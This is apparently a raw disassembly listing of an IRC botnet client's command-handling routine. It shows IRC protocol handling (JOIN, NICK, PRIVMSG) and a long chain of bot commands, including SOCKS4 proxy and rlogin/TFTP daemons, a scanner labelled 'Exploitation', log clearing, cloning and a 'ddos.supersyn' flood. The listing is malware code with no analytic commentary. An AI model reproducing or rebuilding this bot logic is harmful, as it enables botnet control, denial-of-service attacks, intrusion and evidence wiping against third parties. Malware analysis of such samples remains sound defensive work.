push eax call sub_40BF6D add esp, 14h loc_40F1FF: ; CODE XREF: sub_40EE72+304j ; sub_40EE72+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40F174 push [ebp+var_88] push [ebp+arg_10] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F239 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40F22E: ; CODE XREF: sub_40EE72+618j ; sub_40EE72+978j push [ebp+arg_4] call sub_40D633 loc_40F236: ; CODE XREF: sub_40EE72+57D6j ; sub_40EE72+57F3j ... add esp, 10h loc_40F239: ; CODE XREF: sub_40EE72+5Bj ; sub_40EE72+F1j ... push 1 loc_40F23B: ; CODE XREF: sub_40EE72+5CE9j pop eax loc_40F23C: ; CODE XREF: sub_40EE72+29Fj ; sub_40EE72+229Dj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40F241: ; CODE XREF: sub_40EE72+2F2j push esi push offset aNick ; "NICK" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F397 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40F26A: ; CODE XREF: sub_40EE72+44Aj lea eax, [ebp+var_AA8] push eax push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2B7 lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40F2B7 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_4179C0 push [ebp+arg_1C] push edi call sub_4179D0 add esp, 10h mov edi, 80h loc_40F2B7: ; CODE XREF: sub_40EE72+409j ; sub_40EE72+420j add esi, edi dec [ebp+arg_0] jnz short loc_40F26A lea eax, [ebp+var_D8] test eax, eax jz loc_40F239 cmp [ebp+arg_24], ebx jz loc_40F239 push [ebp+arg_10] lea eax, [ebp+var_D8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F2FF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F2FF: ; CODE XREF: sub_40EE72+476j mov edi, [ebp+arg_18] xor esi, esi loc_40F304: ; CODE XREF: sub_40EE72+4B3j cmp [edi], bl jz short loc_40F31B lea eax, [ebp+var_AA8] push eax push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F32C loc_40F31B: ; CODE XREF: sub_40EE72+494j inc esi add edi, 80h cmp esi, 2 jl short loc_40F304 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F32C: ; CODE XREF: sub_40EE72+4A7j lea eax, [ebp+var_AA8] push 21h push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40F239 push eax call sub_417AB0 push [ebp+arg_24] mov edi, eax call sub_417AB0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40F239 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_0 ; ":%s%s" push esi call sub_4172AE push ebx lea eax, [ebp+var_4C0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40D679 add esp, 24h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F397: ; CODE XREF: sub_40EE72+3DEj push esi push offset aPart ; "PART" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F3B9 push esi push offset aQuit ; "QUIT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F3E0 loc_40F3B9: ; CODE XREF: sub_40EE72+534j mov edi, [ebp+arg_18] xor esi, esi loc_40F3BE: ; CODE XREF: sub_40EE72+56Cj cmp [edi], bl jz short loc_40F3D4 push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F42E loc_40F3D4: ; CODE XREF: sub_40EE72+54Ej inc esi add edi, 80h cmp esi, 2 jl short loc_40F3BE loc_40F3E0: ; CODE XREF: sub_40EE72+545j push [ebp+var_90] push offset a353 ; "353" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F48F push [ebp+var_84] push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F417 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40F417: ; CODE XREF: sub_40EE72+59Aj push [ebp+var_84] push offset dword_4386DC loc_40F422: ; CODE XREF: sub_40EE72+5B45j ; sub_40EE72+5E94j ... call sub_40BFE1 pop ecx loc_40F428: ; CODE XREF: sub_40EE72+5FA9j pop ecx jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F42E: ; CODE XREF: sub_40EE72+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_4386AC push eax call sub_4172AE lea eax, [ebp+var_2DC] push eax call sub_40BF6D push [ebp+var_90] push offset aPart ; "PART" call sub_4176D0 add esp, 18h test eax, eax jnz loc_40F239 lea eax, [ebp+var_2DC] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F48F: ; CODE XREF: sub_40EE72+582j push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_4176D0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40F4E3 push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F45 cmp dword_42F5B8, ebx jz loc_414F45 loc_40F4E3: ; CODE XREF: sub_40EE72+637j ; sub_40EE72+649j push [ebp+var_90] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F66F mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_C0], esi loc_40F52A: ; CODE XREF: sub_40EE72+8B9j ; sub_40EE72+94Dj ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_4386A0 mov [ebp+arg_8], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F96F push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F82A cmp [ebp+var_AC], ebx jz loc_40F800 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6F4] push edi push eax call sub_4172AE add esp, 0Ch lea eax, [ebp+var_708] push [ebp+esi+var_88] push edi push eax call sub_4172AE push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_43865C push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5A add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C8B4 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz loc_40F7EF loc_40F659: ; CODE XREF: sub_40EE72+7FBj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 26004EDh jmp short loc_40F659 ; --------------------------------------------------------------------------- loc_40F66F: ; CODE XREF: sub_40EE72+681j ; sub_40EE72+697j push [ebp+var_90] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F688 mov [ebp+var_4], 1 loc_40F688: ; CODE XREF: sub_40EE72+80Dj cmp [ebp+var_8C], ebx jz loc_40F239 push (offset loc_4289A7+1) push [ebp+var_8C] call sub_417880 pop ecx test eax, eax pop ecx jz short loc_40F6AF cmp [ebp+var_4], ebx jz short loc_40F6BB loc_40F6AF: ; CODE XREF: sub_40EE72+836j lea eax, [ebp+var_D8] mov [ebp+var_8C], eax loc_40F6BB: ; CODE XREF: sub_40EE72+83Bj cmp [ebp+var_88], ebx jz loc_40F239 inc [ebp+var_88] jz short loc_40F707 cmp [ebp+arg_10], ebx jz short loc_40F707 lea eax, [ebp+var_928] push eax call sub_417AB0 push eax lea eax, [ebp+var_928] push [ebp+var_88] push eax call sub_418DA0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_C0], esi jmp short loc_40F70D ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40EE72+85Bj ; sub_40EE72+860j mov esi, [ebp+var_C0] loc_40F70D: ; CODE XREF: sub_40EE72+893j mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40F239 push edi push offset dword_438650 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40F7B0 mov eax, dword_489DD0 mov eax, off_42F6CC[eax*4] cmp [eax], bl jz short loc_40F7B0 push eax push ecx push offset dword_438634 push [ebp+arg_4] call sub_40D633 add esp, 10h lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4172AE lea eax, [ebp+var_2DC] push eax call sub_40BF6D add esp, 10h cmp [ebp+var_AC], ebx jnz loc_40F239 push ebx lea eax, [ebp+var_2DC] push 1 push eax push offset dword_489CDC loc_40F7A0: ; CODE XREF: sub_40EE72+58BFj push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40F7B0: ; CODE XREF: sub_40EE72+8C8j ; sub_40EE72+8D8j push edi push offset dword_438610 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F52A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40F52A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40F52A push eax push ecx push offset dword_4385F8 jmp loc_40F22E ; --------------------------------------------------------------------------- loc_40F7EF: ; CODE XREF: sub_40EE72+7E1j call near ptr 264030Ch nop push eax push offset dword_4385B0 jmp loc_40F95B ; --------------------------------------------------------------------------- loc_40F800: ; CODE XREF: sub_40EE72+702j lea eax, [ebp+var_D8] push eax push [ebp+esi+var_8C] push offset dword_438560 loc_40F813: ; CODE XREF: sub_40EE72+6175j ; sub_40EE72+61DCj lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 10h loc_40F822: ; CODE XREF: sub_40EE72+7EDj ; sub_40EE72+AB1j ... push 1 pop esi jmp loc_411100 ; --------------------------------------------------------------------------- loc_40F82A: ; CODE XREF: sub_40EE72+6F6j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40F985 cmp [ebp+var_AC], ebx jz loc_40F94F push 13h call sub_416FA2 test eax, eax pop ecx jnz loc_40F941 push [ebp+esi+var_88] lea eax, [ebp+var_708] push offset aS_1 ; "%s" push eax call sub_4172AE push [ebp+esi+var_84] call sub_41781F mov [ebp+var_570], eax mov eax, [ebp+arg_4] mov [ebp+var_710], eax lea eax, [ebp+var_D8] push 7Fh push eax lea eax, [ebp+var_5F0] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_2DC] push offset dword_438528 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 13h push eax call sub_416D5A add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C351 push ebx push ebx call near ptr 2670B28h nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_40F933 loc_40F91D: ; CODE XREF: sub_40EE72+ABFj cmp [ebp+var_560], ebx jnz loc_40F822 push 32h nop call near ptr 26004EDh jmp short loc_40F91D ; --------------------------------------------------------------------------- loc_40F933: ; CODE XREF: sub_40EE72+AA9j nop call near ptr 264030Ch push eax push offset dword_4384E4 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F941: ; CODE XREF: sub_40EE72+9E9j lea eax, [ebp+var_D8] push eax push offset dword_4384A4 jmp short loc_40F95B ; --------------------------------------------------------------------------- loc_40F94F: ; CODE XREF: sub_40EE72+9D9j lea eax, [ebp+var_D8] push eax push offset dword_438464 loc_40F95B: ; CODE XREF: sub_40EE72+989j ; sub_40EE72+ACDj ... lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 0Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_40F96F: ; CODE XREF: sub_40EE72+6DBj mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42F5C4 mov [edi], ecx jnz loc_40F239 loc_40F985: ; CODE XREF: sub_40EE72+9CDj mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aC_0 ; "c" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4D push [ebp+arg_8] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414F4D cmp [ebp+var_AC], ebx jnz short loc_40F9D5 push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F45 loc_40F9D5: ; CODE XREF: sub_40EE72+B47j cmp [ebp+arg_28], ebx jnz loc_414F45 xor edi, edi cmp dword_4313B4, ebx jle loc_40FB81 mov [ebp+arg_20], offset dword_444340 loc_40F9F3: ; CODE XREF: sub_40EE72+BA0j push [ebp+arg_8] push [ebp+arg_20] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40FA19 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_4313B4 jl short loc_40F9F3 jmp loc_40FB81 ; --------------------------------------------------------------------------- loc_40FA19: ; CODE XREF: sub_40EE72+B90j push offset asc_4387B8 ; " :" push [ebp+arg_0] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 mov cl, byte_42F5C4 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42F5C4 mov [eax+3], cl lea ecx, dword_444358[edi] push 9Fh add eax, 4 push ecx push eax call sub_418C10 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40FA6E: ; CODE XREF: sub_40EE72+CA4j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD_0 ; "$%d-" push eax call sub_4172AE lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FADA mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40FADA lea eax, dword_444340[edi] push eax call sub_417AB0 add [ebp+var_C], eax pop ecx jz short loc_40FB0C mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40FB0C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch jmp short loc_40FB0C ; --------------------------------------------------------------------------- loc_40FADA: ; CODE XREF: sub_40EE72+C24j ; sub_40EE72+C2Bj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40FB0C lea eax, [ebp+var_B8] push 2 push eax lea eax, [ebp+var_14] push eax call sub_418C10 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 18h loc_40FB0C: ; CODE XREF: sub_40EE72+C3Dj ; sub_40EE72+C51j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40FA6E lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40FB29: ; CODE XREF: sub_40EE72+D03j push [ebp+arg_20] lea eax, [ebp+var_B8] push offset aD ; "$%d" push eax call sub_4172AE lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_417880 add esp, 14h test eax, eax jz short loc_40FB6C mov eax, [edi] cmp eax, ebx jz short loc_40FB6C push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 add esp, 0Ch loc_40FB6C: ; CODE XREF: sub_40EE72+CDFj ; sub_40EE72+CE5j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40FB29 mov [ebp+var_DC], 1 loc_40FB81: ; CODE XREF: sub_40EE72+B74j ; sub_40EE72+BA2j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42F5C4 jz short loc_40FB9A cmp [ebp+var_DC], ebx jz loc_40FD7F loc_40FB9A: ; CODE XREF: sub_40EE72+D1Aj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_40A7D7 lea eax, [ebp+var_D8] push eax push offset aUser_2 ; "$user" push edi call sub_40A7D7 push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_40A7D7 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415CFF push eax push offset aRndnick ; "$rndnick" push edi call sub_40A7D7 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_40A7D7 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_417880 add esp, 14h loc_40FC0C: ; CODE XREF: sub_40EE72+E86j test eax, eax jz loc_40FCFD push edi push [ebp+arg_0] call sub_417880 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_B8] push eax call sub_418C10 lea eax, [ebp+var_B8] push offset asc_438420 ; ")" push eax call sub_418B6E add esp, 1Ch cmp [ebp+var_B8], 30h jl short loc_40FC58 cmp [ebp+var_B8], 39h jle short loc_40FC6E loc_40FC58: ; CODE XREF: sub_40EE72+DDBj push 3 lea eax, [ebp+var_B8] push offset a63 ; "63" push eax call sub_418C10 add esp, 0Ch loc_40FC6E: ; CODE XREF: sub_40EE72+DE4j lea eax, [ebp+var_B8] push eax call sub_41781F test eax, eax pop ecx jle short loc_40FC91 lea eax, [ebp+var_B8] push eax call sub_41781F pop ecx mov [ebp+var_14], al jmp short loc_40FCA2 ; --------------------------------------------------------------------------- loc_40FC91: ; CODE XREF: sub_40EE72+E0Bj call sub_41730A push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40FCA2: ; CODE XREF: sub_40EE72+E1Dj lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_417AB0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417330 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418C10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A7D7 push edi push [ebp+arg_0] call sub_417880 add esp, 30h jmp loc_40FC0C ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EE72+D9Cj mov edi, 1FFh lea eax, [ebp+var_FB0] push edi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push edi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 lea eax, [ebp+var_11B0] push offset asc_42A3B4 ; " " push eax call sub_418B6E add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40FD4D: ; CODE XREF: sub_40EE72+EF0j push offset asc_42A3B4 ; " " push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40FD4D mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40F239 add ecx, 3 mov [eax], ecx loc_40FD7F: ; CODE XREF: sub_40EE72+D22j mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF3 push edi push offset aRn ; "rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414EF3 push edi push offset aIrc_die ; "irc.die" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED1 push edi push offset aIrc_di ; "irc.di" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ED1 push edi push offset aIrc_logout ; "irc.logout" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E2F push edi push offset aLo ; "lo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E2F push edi push offset aIrc_version ; "irc.version" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E20 push edi push offset aVer ; "ver" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414E20 push edi push offset aLockdown_on ; "lockdown.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0B push edi push offset aLd_on ; "ld.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0B push edi push offset aLockdown_off ; "lockdown.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0B push edi push offset aLd_off ; "ld.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414D0B push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BE9 push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BE9 push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FEEF push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_438368 loc_40FED3: ; CODE XREF: sub_40EE72+10A1j ; sub_40EE72+10C7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416FE8 add esp, 20h jmp loc_40F239 ; --------------------------------------------------------------------------- loc_40FEEF: ; CODE XREF: sub_40EE72+104Cj push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF15 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_438344 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF15: ; CODE XREF: sub_40EE72+108Cj push edi push offset dword_438334 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF3B push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_438328 jmp short loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF3B: ; CODE XREF: sub_40EE72+10B2j push edi push offset dword_438320 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF64 push [ebp+esi+var_90] push 1Dh push offset dword_438314 push offset dword_438308 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF64: ; CODE XREF: sub_40EE72+10D8j push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FF8D push [ebp+esi+var_90] push 10h push offset dword_4382E4 push offset dword_4382D4 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FF8D: ; CODE XREF: sub_40EE72+1101j push edi push offset dword_4382C8 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFB6 push [ebp+esi+var_90] push 0Ah push offset dword_4382BC push offset dword_4382B0 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFB6: ; CODE XREF: sub_40EE72+112Aj push edi push offset dword_4382A0 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40FFDF push [ebp+esi+var_90] push 0Bh push offset dword_438294 push offset dword_438288 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_40FFDF: ; CODE XREF: sub_40EE72+1153j push edi push offset dword_438278 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410008 push [ebp+esi+var_90] push 0Fh push offset dword_43826C push offset dword_438260 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40EE72+117Cj push edi push offset dword_438250 call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410031 push [ebp+esi+var_90] push 0Eh push offset dword_438244 push offset dword_438238 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410031: ; CODE XREF: sub_40EE72+11A5j push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41005A push [ebp+esi+var_90] push 4 loc_41004B: ; DATA XREF: ___:0042CC90o ; ___:0042CCA4o push offset aServer ; "Server" push offset dword_43821C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_41005A: ; CODE XREF: sub_40EE72+11CEj push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD1 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BD1 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BB9 push edi push offset aCom_ps_off ; "com.ps.off" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BB9 push edi push offset aClone_off ; "clone.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4100D7 push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_4381BC jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4100D7: ; CODE XREF: sub_40EE72+124Bj push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410100 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_438194 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410100: ; CODE XREF: sub_40EE72+1274j push edi push offset aRoot_stop ; "root.stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410129 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_410129: ; CODE XREF: sub_40EE72+129Dj push edi push offset aRoot_stats ; "root.stats" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA3 push edi push offset aRoot_st ; "root.st" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414BA3 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B82 push edi push offset aIrc_r ; "irc.r" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B82 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B60 push edi push offset aIrc_d ; "irc.d" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B60 push edi push offset aIrc_quit ; "irc.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B18 push edi push offset aIrc_q ; "irc.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414B18 push edi push offset aIrc_status ; "irc.status" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414AD9 push edi push offset aIrc_s ; "irc.s" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414AD9 push edi push offset aIrc_id ; "irc.id" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACD push edi push offset aIrc_i ; "irc.i" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACD push edi push offset aCom_rebewt ; "com.rebewt" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410277 call sub_40AC20 test eax, eax mov eax, offset dword_4380BC jnz short loc_410249 mov eax, offset dword_438088 loc_410249: ; CODE XREF: sub_40EE72+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 1Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40EE72+13C2j push edi push offset aThreads_list ; "threads.list" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DC push edi push offset aThreads_l ; "threads.l" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DC push edi push offset aIrc_aliases ; "irc.aliases" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BC push edi push offset aIrc_al ; "irc.al" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BC push edi push offset aIrc_log ; "irc.log" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148C9 push edi push offset aIrc_lg ; "irc.lg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148C9 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B0 push edi push offset aUtil_clg ; "util.clg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B0 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41487E push edi push offset aCom_ni ; "com.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41487E push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4176D0 pop ecx test eax, eax 